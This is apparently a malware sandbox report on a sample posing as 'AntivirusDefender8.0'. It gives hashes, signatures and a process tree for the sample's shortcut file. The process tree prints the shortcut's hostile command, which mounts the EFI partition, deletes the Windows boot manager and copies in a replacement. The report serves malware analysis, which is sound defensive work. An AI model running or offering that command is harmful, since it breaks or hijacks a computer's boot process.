Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Resubmissions
08/07/2024, 11:05
240708-m639fsyaph 408/07/2024, 11:00
240708-m359msxhrf 308/07/2024, 10:54
240708-mzmm5avgrj 308/07/2024, 10:49
240708-mw431axfra 708/07/2024, 10:46
240708-mtxwxaxfjc 308/07/2024, 10:42
240708-mrn6zsxekb 7Analysis
-
max time kernel
119s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240705-en -
resource tags
arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system -
submitted
08/07/2024, 10:54
Static task
static1
Behavioral task
behavioral1
Sample
AntivirusDefender8.0-main.zip
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
AntivirusDefender8.0-main/.gitattributes
Resource
win7-20240704-en
Behavioral task
behavioral3
Sample
AntivirusDefender8.0-main/AntivirusDefender8.0.lnk
Resource
win7-20240705-en
Behavioral task
behavioral4
Sample
AntivirusDefender8.0-main/LICENSE
Resource
win7-20240705-en
Behavioral task
behavioral5
Sample
AntivirusDefender8.0-main/README.md
Resource
win7-20240508-en
Behavioral task
behavioral6
Sample
AntivirusDefender8.0-main/RUNTHISFIRST.exe
Resource
win7-20240705-en
Behavioral task
behavioral7
Sample
AntivirusDefender8.0-main/bootmgfw.dll
Resource
win7-20240221-en
General
-
Target
AntivirusDefender8.0-main/AntivirusDefender8.0.lnk
-
Size
1KB
-
MD5
3da7e181e7e2a7cb91b92cdaf0300c5b
-
SHA1
8d9691891d52d9ae7acbce140e49653d7225e5cd
-
SHA256
da6227b4b97a7b3de4abdf570873eedf44192180eb142bfabf91916fefefb41a
-
SHA512
cca8d154c6764a44914368af05259e35bf60dbc9b09b3842564521ecd99c9023b091113d9adebe7a868f2b96ef3542570bb3b2fca1bff35a15c27b837ad00296
Malware Config
Signatures
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 2880 wrote to memory of 2980 2880 cmd.exe 31 PID 2880 wrote to memory of 2980 2880 cmd.exe 31 PID 2880 wrote to memory of 2980 2880 cmd.exe 31 PID 2980 wrote to memory of 2676 2980 cmd.exe 32 PID 2980 wrote to memory of 2676 2980 cmd.exe 32 PID 2980 wrote to memory of 2676 2980 cmd.exe 32 PID 2676 wrote to memory of 2704 2676 cmd.exe 34 PID 2676 wrote to memory of 2704 2676 cmd.exe 34 PID 2676 wrote to memory of 2704 2676 cmd.exe 34
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\AntivirusDefender8.0-main\AntivirusDefender8.0.lnk1⤵
- Suspicious use of WriteProcessMemory
PID:2880 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /min /c "start cmd /c "mountvol x: /s && icacls x: && del x:\efi\microsoft\boot\bootmgfw.efi && copy bootmgfw.efi x:\efi\microsoft\boot\bootmgfw.efi /Y""2⤵
- Suspicious use of WriteProcessMemory
PID:2980 -
C:\Windows\system32\cmd.execmd /c "mountvol x: /s && icacls x: && del x:\efi\microsoft\boot\bootmgfw.efi && copy bootmgfw.efi x:\efi\microsoft\boot\bootmgfw.efi /Y"3⤵
- Suspicious use of WriteProcessMemory
PID:2676 -
C:\Windows\system32\mountvol.exemountvol x: /s4⤵PID:2704
-
-
-